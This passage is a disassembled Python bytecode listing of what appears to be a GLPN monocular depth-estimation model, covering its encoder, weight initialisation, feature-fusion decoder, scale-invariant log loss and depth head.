BINARY_SUBSCR STORE_FAST attention_output LOAD_FAST self_attention_outputs LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST outputs LOAD_FAST self LOAD_METHOD drop_path LOAD_FAST attention_output CALL_METHOD STORE_FAST attention_output LOAD_FAST attention_output LOAD_FAST hidden_states BINARY_ADD STORE_FAST hidden_states LOAD_FAST self LOAD_METHOD mlp LOAD_FAST self LOAD_METHOD layer_norm_2 LOAD_FAST hidden_states CALL_METHOD LOAD_FAST height LOAD_FAST width CALL_METHOD STORE_FAST mlp_output LOAD_FAST self LOAD_METHOD drop_path LOAD_FAST mlp_output CALL_METHOD STORE_FAST mlp_output LOAD_FAST mlp_output LOAD_FAST hidden_states BINARY_ADD STORE_FAST layer_output LOAD_FAST layer_output BUILD_TUPLE LOAD_FAST outputs BINARY_ADD STORE_FAST outputs LOAD_FAST outputs RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GLPNEncoder' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6d4b48930, file "f.py", line 341> LOAD_CONST 'GLPNEncoder.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST (False, False, True) LOAD_CONST <code object forward at 0x7fa6d4b48150, file "f.py", line 392> LOAD_CONST 'GLPNEncoder.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_DEREF config LOAD_FAST self STORE_ATTR config LOAD_CONST <code object <listcomp> at 0x7fa6d4b48420, file "f.py", line 346> LOAD_CONST 'GLPNEncoder.__init__.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL torch LOAD_METHOD linspace LOAD_CONST 0 LOAD_DEREF config LOAD_ATTR drop_path_rate LOAD_GLOBAL sum LOAD_DEREF config LOAD_ATTR depths CALL_FUNCTION CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST dpr BUILD_LIST STORE_FAST embeddings SETUP_LOOP to 136 LOAD_GLOBAL range LOAD_DEREF config LOAD_ATTR num_encoder_blocks CALL_FUNCTION GET_ITER FOR_ITER to 134 STORE_FAST i LOAD_FAST embeddings LOAD_METHOD append LOAD_GLOBAL GLPNOverlapPatchEmbeddings LOAD_DEREF config LOAD_ATTR patch_sizes LOAD_FAST i BINARY_SUBSCR LOAD_DEREF config LOAD_ATTR strides LOAD_FAST i BINARY_SUBSCR LOAD_FAST i LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_DEREF config LOAD_ATTR num_channels JUMP_FORWARD to 116 LOAD_DEREF config LOAD_ATTR hidden_sizes LOAD_FAST i LOAD_CONST 1 BINARY_SUBTRACT BINARY_SUBSCR LOAD_DEREF config LOAD_ATTR hidden_sizes LOAD_FAST i BINARY_SUBSCR LOAD_CONST ('patch_size', 'stride', 'num_channels', 'hidden_size') CALL_FUNCTION CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL nn LOAD_METHOD ModuleList LOAD_FAST embeddings CALL_METHOD LOAD_FAST self STORE_ATTR patch_embeddings BUILD_LIST STORE_FAST blocks LOAD_CONST 0 STORE_FAST cur SETUP_LOOP to 304 LOAD_GLOBAL range LOAD_DEREF config LOAD_ATTR num_encoder_blocks CALL_FUNCTION GET_ITER FOR_ITER to 302 STORE_FAST i BUILD_LIST STORE_FAST layers LOAD_FAST i LOAD_CONST 0 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST cur LOAD_DEREF config LOAD_ATTR depths LOAD_FAST i LOAD_CONST 1 BINARY_SUBTRACT BINARY_SUBSCR INPLACE_ADD STORE_FAST cur SETUP_LOOP to 284 LOAD_GLOBAL range LOAD_DEREF config LOAD_ATTR depths LOAD_FAST i BINARY_SUBSCR CALL_FUNCTION GET_ITER FOR_ITER to 282 STORE_FAST j LOAD_FAST layers LOAD_METHOD append LOAD_GLOBAL GLPNLayer LOAD_DEREF config LOAD_DEREF config LOAD_ATTR hidden_sizes LOAD_FAST i BINARY_SUBSCR LOAD_DEREF config LOAD_ATTR num_attention_heads LOAD_FAST i BINARY_SUBSCR LOAD_FAST dpr LOAD_FAST cur LOAD_FAST j BINARY_ADD BINARY_SUBSCR LOAD_DEREF config LOAD_ATTR sr_ratios LOAD_FAST i BINARY_SUBSCR LOAD_DEREF config LOAD_ATTR mlp_ratios LOAD_FAST i BINARY_SUBSCR LOAD_CONST ('hidden_size', 'num_attention_heads', 'drop_path', 'sequence_reduction_ratio', 'mlp_ratio') CALL_FUNCTION CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST blocks LOAD_METHOD append LOAD_GLOBAL nn LOAD_METHOD ModuleList LOAD_FAST layers CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL nn LOAD_METHOD ModuleList LOAD_FAST blocks CALL_METHOD LOAD_FAST self STORE_ATTR block LOAD_GLOBAL nn LOAD_METHOD ModuleList LOAD_CLOSURE config BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fa6d4b48f60, file "f.py", line 387> LOAD_CONST 'GLPNEncoder.__init__.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_DEREF config LOAD_ATTR num_encoder_blocks CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_METHOD LOAD_FAST self STORE_ATTR layer_norm LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST x LOAD_FAST x LOAD_METHOD item CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 26 STORE_FAST i LOAD_GLOBAL nn LOAD_METHOD LayerNorm LOAD_DEREF config LOAD_ATTR hidden_sizes LOAD_FAST i BINARY_SUBSCR CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST output_hidden_states POP_JUMP_IF_FALSE LOAD_CONST () JUMP_FORWARD to 10 LOAD_CONST None STORE_FAST all_hidden_states LOAD_FAST output_attentions POP_JUMP_IF_FALSE LOAD_CONST () JUMP_FORWARD to 22 LOAD_CONST None STORE_FAST all_self_attentions LOAD_FAST pixel_values LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR STORE_FAST batch_size LOAD_FAST pixel_values STORE_FAST hidden_states SETUP_LOOP to 214 LOAD_GLOBAL enumerate LOAD_GLOBAL zip LOAD_FAST self LOAD_ATTR patch_embeddings LOAD_FAST self LOAD_ATTR block LOAD_FAST self LOAD_ATTR layer_norm CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 212 UNPACK_SEQUENCE STORE_FAST idx STORE_FAST x LOAD_FAST x UNPACK_SEQUENCE STORE_FAST embedding_layer STORE_FAST block_layer STORE_FAST norm_layer LOAD_FAST embedding_layer LOAD_FAST hidden_states CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST hidden_states STORE_FAST height STORE_FAST width SETUP_LOOP to 156 LOAD_GLOBAL enumerate LOAD_FAST block_layer CALL_FUNCTION GET_ITER FOR_ITER to 154 UNPACK_SEQUENCE STORE_FAST i STORE_FAST blk LOAD_FAST blk LOAD_FAST hidden_states LOAD_FAST height LOAD_FAST width LOAD_FAST output_attentions CALL_FUNCTION STORE_FAST layer_outputs LOAD_FAST layer_outputs LOAD_CONST 0 BINARY_SUBSCR STORE_FAST hidden_states LOAD_FAST output_attentions POP_JUMP_IF_FALSE LOAD_FAST all_self_attentions LOAD_FAST layer_outputs LOAD_CONST 1 BINARY_SUBSCR BUILD_TUPLE BINARY_ADD STORE_FAST all_self_attentions JUMP_ABSOLUTE POP_BLOCK LOAD_FAST norm_layer LOAD_FAST hidden_states CALL_FUNCTION STORE_FAST hidden_states LOAD_FAST hidden_states LOAD_METHOD reshape LOAD_FAST batch_size LOAD_FAST height LOAD_FAST width LOAD_CONST -1 CALL_METHOD LOAD_METHOD permute LOAD_CONST 0 LOAD_CONST 3 LOAD_CONST 1 LOAD_CONST 2 CALL_METHOD LOAD_METHOD contiguous CALL_METHOD STORE_FAST hidden_states LOAD_FAST output_hidden_states POP_JUMP_IF_FALSE LOAD_FAST all_hidden_states LOAD_FAST hidden_states BUILD_TUPLE BINARY_ADD STORE_FAST all_hidden_states JUMP_ABSOLUTE POP_BLOCK LOAD_FAST return_dict POP_JUMP_IF_TRUE LOAD_GLOBAL tuple LOAD_CONST <code object <genexpr> at 0x7fa6d4b48e40, file "f.py", line 426> LOAD_CONST 'GLPNEncoder.forward.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST hidden_states LOAD_FAST all_hidden_states LOAD_FAST all_self_attentions BUILD_LIST GET_ITER CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL BaseModelOutput LOAD_FAST hidden_states LOAD_FAST all_hidden_states LOAD_FAST all_self_attentions LOAD_CONST ('last_hidden_state', 'hidden_states', 'attentions') CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 22 STORE_FAST v LOAD_FAST v LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST v YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GLPNPreTrainedModel' STORE_NAME __qualname__ LOAD_CONST '\n An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained\n models.\n ' STORE_NAME __doc__ LOAD_NAME GLPNConfig STORE_NAME config_class LOAD_CONST 'glpn' STORE_NAME base_model_prefix LOAD_CONST 'pixel_values' STORE_NAME main_input_name LOAD_CONST <code object _init_weights at 0x7fa6d4b486f0, file "f.py", line 447> LOAD_CONST 'GLPNPreTrainedModel._init_weights' MAKE_FUNCTION STORE_NAME _init_weights LOAD_CONST None RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST module LOAD_GLOBAL nn LOAD_ATTR Linear LOAD_GLOBAL nn LOAD_ATTR Conv2d BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR weight LOAD_ATTR data LOAD_ATTR normal_ LOAD_CONST 0.0 LOAD_FAST self LOAD_ATTR config LOAD_ATTR initializer_range LOAD_CONST ('mean', 'std') CALL_FUNCTION POP_TOP LOAD_FAST module LOAD_ATTR bias LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR bias LOAD_ATTR data LOAD_METHOD zero_ CALL_METHOD POP_TOP JUMP_FORWARD to 166 LOAD_GLOBAL isinstance LOAD_FAST module LOAD_GLOBAL nn LOAD_ATTR Embedding CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR weight LOAD_ATTR data LOAD_ATTR normal_ LOAD_CONST 0.0 LOAD_FAST self LOAD_ATTR config LOAD_ATTR initializer_range LOAD_CONST ('mean', 'std') CALL_FUNCTION POP_TOP LOAD_FAST module LOAD_ATTR padding_idx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR weight LOAD_ATTR data LOAD_FAST module LOAD_ATTR padding_idx BINARY_SUBSCR LOAD_METHOD zero_ CALL_METHOD POP_TOP JUMP_FORWARD to 166 LOAD_GLOBAL isinstance LOAD_FAST module LOAD_GLOBAL nn LOAD_ATTR LayerNorm CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR bias LOAD_ATTR data LOAD_METHOD zero_ CALL_METHOD POP_TOP LOAD_FAST module LOAD_ATTR weight LOAD_ATTR data LOAD_METHOD fill_ LOAD_CONST 1.0 CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GLPNModel' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6d4b48780, file "f.py", line 496> LOAD_CONST 'GLPNModel.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object _prune_heads at 0x7fa6d804a030, file "f.py", line 504> LOAD_CONST 'GLPNModel._prune_heads' MAKE_FUNCTION STORE_NAME _prune_heads LOAD_NAME add_start_docstrings_to_model_forward LOAD_NAME GLPN_INPUTS_DOCSTRING LOAD_METHOD format LOAD_CONST '(batch_size, sequence_length)' CALL_METHOD CALL_FUNCTION LOAD_NAME add_code_sample_docstrings LOAD_NAME _CHECKPOINT_FOR_DOC LOAD_NAME BaseModelOutput LOAD_NAME _CONFIG_FOR_DOC LOAD_CONST 'vision' LOAD_NAME _EXPECTED_OUTPUT_SHAPE LOAD_CONST ('checkpoint', 'output_type', 'config_class', 'modality', 'expected_output') CALL_FUNCTION LOAD_CONST (None, None, None) LOAD_NAME torch LOAD_ATTR FloatTensor LOAD_NAME Optional LOAD_NAME bool BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME bool BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME bool BINARY_SUBSCR LOAD_NAME Union LOAD_NAME Tuple LOAD_NAME BaseModelOutput BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('pixel_values', 'output_attentions', 'output_hidden_states', 'return_dict', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object forward at 0x7fa6d804a810, file "f.py", line 512> LOAD_CONST 'GLPNModel.forward' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST config CALL_METHOD POP_TOP LOAD_FAST config LOAD_FAST self STORE_ATTR config LOAD_GLOBAL GLPNEncoder LOAD_FAST config CALL_FUNCTION LOAD_FAST self STORE_ATTR encoder LOAD_FAST self LOAD_METHOD post_init CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE SETUP_LOOP to 42 LOAD_FAST heads_to_prune LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 40 UNPACK_SEQUENCE STORE_FAST layer STORE_FAST heads LOAD_FAST self LOAD_ATTR encoder LOAD_ATTR layer LOAD_FAST layer BINARY_SUBSCR LOAD_ATTR attention LOAD_METHOD prune_heads LOAD_FAST heads CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST output_attentions LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST output_attentions JUMP_FORWARD to 18 LOAD_FAST self LOAD_ATTR config LOAD_ATTR output_attentions STORE_FAST output_attentions LOAD_FAST output_hidden_states LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST output_hidden_states JUMP_FORWARD to 38 LOAD_FAST self LOAD_ATTR config LOAD_ATTR output_hidden_states STORE_FAST output_hidden_states LOAD_FAST return_dict LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST return_dict JUMP_FORWARD to 58 LOAD_FAST self LOAD_ATTR config LOAD_ATTR use_return_dict STORE_FAST return_dict LOAD_FAST self LOAD_ATTR encoder LOAD_FAST pixel_values LOAD_FAST output_attentions LOAD_FAST output_hidden_states LOAD_FAST return_dict LOAD_CONST ('output_attentions', 'output_hidden_states', 'return_dict') CALL_FUNCTION STORE_FAST encoder_outputs LOAD_FAST encoder_outputs LOAD_CONST 0 BINARY_SUBSCR STORE_FAST sequence_output LOAD_FAST return_dict POP_JUMP_IF_TRUE LOAD_FAST sequence_output BUILD_TUPLE LOAD_FAST encoder_outputs LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR BINARY_ADD RETURN_VALUE LOAD_GLOBAL BaseModelOutput LOAD_FAST sequence_output LOAD_FAST encoder_outputs LOAD_ATTR hidden_states LOAD_FAST encoder_outputs LOAD_ATTR attentions LOAD_CONST ('last_hidden_state', 'hidden_states', 'attentions') CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GLPNSelectiveFeatureFusion' STORE_NAME __qualname__ LOAD_CONST '\n Selective Feature Fusion module, as explained in the [paper](https://arxiv.org/abs/2201.07436) (section 3.4). This\n module adaptively selects and integrates local and global features by attaining an attention map for each feature.\n ' STORE_NAME __doc__ LOAD_CONST (64,) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6d804aa50, file "f.py", line 567> LOAD_CONST 'GLPNSelectiveFeatureFusion.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fa6d804a420, file "f.py", line 604> LOAD_CONST 'GLPNSelectiveFeatureFusion.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_GLOBAL nn LOAD_METHOD Sequential LOAD_GLOBAL nn LOAD_ATTR Conv2d LOAD_GLOBAL int LOAD_FAST in_channel LOAD_CONST 2 BINARY_MULTIPLY CALL_FUNCTION LOAD_FAST in_channel LOAD_CONST 3 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST ('in_channels', 'out_channels', 'kernel_size', 'stride', 'padding') CALL_FUNCTION LOAD_GLOBAL nn LOAD_METHOD BatchNorm2d LOAD_FAST in_channel CALL_METHOD LOAD_GLOBAL nn LOAD_METHOD ReLU CALL_METHOD CALL_METHOD LOAD_FAST self STORE_ATTR convolutional_layer1 LOAD_GLOBAL nn LOAD_METHOD Sequential LOAD_GLOBAL nn LOAD_ATTR Conv2d LOAD_FAST in_channel LOAD_GLOBAL int LOAD_FAST in_channel LOAD_CONST 2 BINARY_TRUE_DIVIDE CALL_FUNCTION LOAD_CONST 3 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST ('in_channels', 'out_channels', 'kernel_size', 'stride', 'padding') CALL_FUNCTION LOAD_GLOBAL nn LOAD_METHOD BatchNorm2d LOAD_GLOBAL int LOAD_FAST in_channel LOAD_CONST 2 BINARY_TRUE_DIVIDE CALL_FUNCTION CALL_METHOD LOAD_GLOBAL nn LOAD_METHOD ReLU CALL_METHOD CALL_METHOD LOAD_FAST self STORE_ATTR convolutional_layer2 LOAD_GLOBAL nn LOAD_ATTR Conv2d LOAD_GLOBAL int LOAD_FAST in_channel LOAD_CONST 2 BINARY_TRUE_DIVIDE CALL_FUNCTION LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST ('in_channels', 'out_channels', 'kernel_size', 'stride', 'padding') CALL_FUNCTION LOAD_FAST self STORE_ATTR convolutional_layer3 LOAD_GLOBAL nn LOAD_METHOD Sigmoid CALL_METHOD LOAD_FAST self STORE_ATTR sigmoid LOAD_CONST None RETURN_VALUE LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST local_features LOAD_FAST global_features BUILD_TUPLE LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST features LOAD_FAST self LOAD_METHOD convolutional_layer1 LOAD_FAST features CALL_METHOD STORE_FAST features LOAD_FAST self LOAD_METHOD convolutional_layer2 LOAD_FAST features CALL_METHOD STORE_FAST features LOAD_FAST self LOAD_METHOD convolutional_layer3 LOAD_FAST features CALL_METHOD STORE_FAST features LOAD_FAST self LOAD_METHOD sigmoid LOAD_FAST features CALL_METHOD STORE_FAST attn LOAD_FAST local_features LOAD_FAST attn LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 0 LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_METHOD unsqueeze LOAD_CONST 1 CALL_METHOD BINARY_MULTIPLY LOAD_FAST global_features LOAD_FAST attn LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 1 LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_METHOD unsqueeze LOAD_CONST 1 CALL_METHOD BINARY_MULTIPLY BINARY_ADD STORE_FAST hybrid_features LOAD_FAST hybrid_features RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GLPNDecoderStage' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6d804a0c0, file "f.py", line 618> LOAD_CONST 'GLPNDecoderStage.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST (None,) LOAD_CONST <code object forward at 0x7fa6d804aae0, file "f.py", line 631> LOAD_CONST 'GLPNDecoderStage.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST in_channels LOAD_FAST out_channels COMPARE_OP == STORE_FAST should_skip LOAD_FAST should_skip POP_JUMP_IF_TRUE LOAD_GLOBAL nn LOAD_ATTR Conv2d LOAD_FAST in_channels LOAD_FAST out_channels LOAD_CONST 1 LOAD_CONST ('kernel_size',) CALL_FUNCTION JUMP_FORWARD to 44 LOAD_GLOBAL nn LOAD_METHOD Identity CALL_METHOD LOAD_FAST self STORE_ATTR convolution LOAD_GLOBAL GLPNSelectiveFeatureFusion LOAD_FAST out_channels CALL_FUNCTION LOAD_FAST self STORE_ATTR fusion LOAD_GLOBAL nn LOAD_ATTR Upsample LOAD_CONST 2 LOAD_CONST 'bilinear' LOAD_CONST False LOAD_CONST ('scale_factor', 'mode', 'align_corners') CALL_FUNCTION LOAD_FAST self STORE_ATTR upsample LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD convolution LOAD_FAST hidden_state CALL_METHOD STORE_FAST hidden_state LOAD_FAST residual LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD fusion LOAD_FAST hidden_state LOAD_FAST residual CALL_METHOD STORE_FAST hidden_state LOAD_FAST self LOAD_METHOD upsample LOAD_FAST hidden_state CALL_METHOD STORE_FAST hidden_state LOAD_FAST hidden_state RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GLPNDecoder' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6d804aed0, file "f.py", line 644> LOAD_CONST 'GLPNDecoder.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME List LOAD_NAME torch LOAD_ATTR Tensor BINARY_SUBSCR LOAD_NAME List LOAD_NAME torch LOAD_ATTR Tensor BINARY_SUBSCR LOAD_CONST ('hidden_states', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object forward at 0x7fa6d804a5d0, file "f.py", line 661> LOAD_CONST 'GLPNDecoder.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST config LOAD_ATTR hidden_sizes LOAD_CONST None LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR STORE_FAST reserved_hidden_sizes LOAD_FAST config LOAD_ATTR decoder_hidden_size STORE_DEREF out_channels LOAD_GLOBAL nn LOAD_METHOD ModuleList LOAD_CLOSURE out_channels BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fa6d804a930, file "f.py", line 651> LOAD_CONST 'GLPNDecoder.__init__.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST reserved_hidden_sizes GET_ITER CALL_FUNCTION CALL_METHOD LOAD_FAST self STORE_ATTR stages LOAD_CONST None LOAD_FAST self LOAD_ATTR stages LOAD_CONST 0 BINARY_SUBSCR STORE_ATTR fusion LOAD_GLOBAL nn LOAD_ATTR Upsample LOAD_CONST 2 LOAD_CONST 'bilinear' LOAD_CONST False LOAD_CONST ('scale_factor', 'mode', 'align_corners') CALL_FUNCTION LOAD_FAST self STORE_ATTR final_upsample LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST hidden_size LOAD_GLOBAL GLPNDecoderStage LOAD_FAST hidden_size LOAD_DEREF out_channels CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST STORE_FAST stage_hidden_states LOAD_CONST None STORE_FAST stage_hidden_state SETUP_LOOP to 64 LOAD_GLOBAL zip LOAD_FAST hidden_states LOAD_CONST None LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR LOAD_FAST self LOAD_ATTR stages CALL_FUNCTION GET_ITER FOR_ITER to 62 UNPACK_SEQUENCE STORE_FAST hidden_state STORE_FAST stage LOAD_FAST stage LOAD_FAST hidden_state LOAD_FAST stage_hidden_state CALL_FUNCTION STORE_FAST stage_hidden_state LOAD_FAST stage_hidden_states LOAD_METHOD append LOAD_FAST stage_hidden_state CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_METHOD final_upsample LOAD_FAST stage_hidden_state CALL_METHOD LOAD_FAST stage_hidden_states LOAD_CONST -1 STORE_SUBSCR LOAD_FAST stage_hidden_states RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SiLogLoss' STORE_NAME __qualname__ LOAD_CONST '\n Implements the Scale-invariant log scale loss [Eigen et al., 2014](https://arxiv.org/abs/1406.2283).\n\n $$L=\\frac{1}{n} \\sum_{i} d_{i}^{2}-\\frac{1}{2 n^{2}}\\left(\\sum_{i} d_{i}^{2}\\right)$$ where $d_{i}=\\log y_{i}-\\log\n y_{i}^{*}$.\n\n ' STORE_NAME __doc__ LOAD_CONST (0.5,) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6d804ac00, file "f.py", line 682> LOAD_CONST 'SiLogLoss.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fa6d804ac90, file "f.py", line 686> LOAD_CONST 'SiLogLoss.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST lambd LOAD_FAST self STORE_ATTR lambd LOAD_CONST None RETURN_VALUE LOAD_FAST target LOAD_CONST 0 COMPARE_OP > LOAD_METHOD detach CALL_METHOD STORE_FAST valid_mask LOAD_GLOBAL torch LOAD_METHOD log LOAD_FAST target LOAD_FAST valid_mask BINARY_SUBSCR CALL_METHOD LOAD_GLOBAL torch LOAD_METHOD log LOAD_FAST pred LOAD_FAST valid_mask BINARY_SUBSCR CALL_METHOD BINARY_SUBTRACT STORE_FAST diff_log LOAD_GLOBAL torch LOAD_METHOD sqrt LOAD_GLOBAL torch LOAD_METHOD pow LOAD_FAST diff_log LOAD_CONST 2 CALL_METHOD LOAD_METHOD mean CALL_METHOD LOAD_FAST self LOAD_ATTR lambd LOAD_GLOBAL torch LOAD_METHOD pow LOAD_FAST diff_log LOAD_METHOD mean CALL_METHOD LOAD_CONST 2 CALL_METHOD BINARY_MULTIPLY BINARY_SUBTRACT CALL_METHOD STORE_FAST loss LOAD_FAST loss RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GLPNDepthEstimationHead' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6d804ab70, file "f.py", line 697> LOAD_CONST 'GLPNDepthEstimationHead.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME List LOAD_NAME torch LOAD_ATTR Tensor BINARY_SUBSCR LOAD_NAME torch LOAD_ATTR Tensor LOAD_CONST ('hidden_states', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object forward at 0x7fa6d804a1e0, file "f.py", line 709> LOAD_CONST 'GLPNDepthEstimationHead.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST config LOAD_FAST self STORE_ATTR config LOAD_FAST config LOAD_ATTR decoder_hidden_size STORE_FAST channels LOAD_GLOBAL nn LOAD_METHOD Sequential LOAD_GLOBAL nn LOAD_ATTR Conv2d LOAD_FAST channels LOAD_FAST channels LOAD_CONST 3 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST ('kernel_size', 'stride', 'padding') CALL_FUNCTION LOAD_GLOBAL nn LOAD_ATTR ReLU LOAD_CONST False LOAD_CONST ('inplace',) CALL_FUNCTION LOAD_GLOBAL nn LOAD_ATTR Conv2d LOAD_FAST channels LOAD_CONST 1 LOAD_CONST 3 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST ('kernel_size', 'stride', 'padding') CALL_FUNCTION CALL_METHOD LOAD_FAST self STORE_ATTR head LOAD_CONST None RETURN_VALUE LOAD_FAST hidden_states LOAD_FAST self LOAD_ATTR config LOAD_ATTR head_in_index BINARY_SUBSCR STORE_FAST hidden_states LOAD_FAST self LOAD_METHOD head LOAD_FAST hidden_states CALL_METHOD STORE_FAST hidden_states 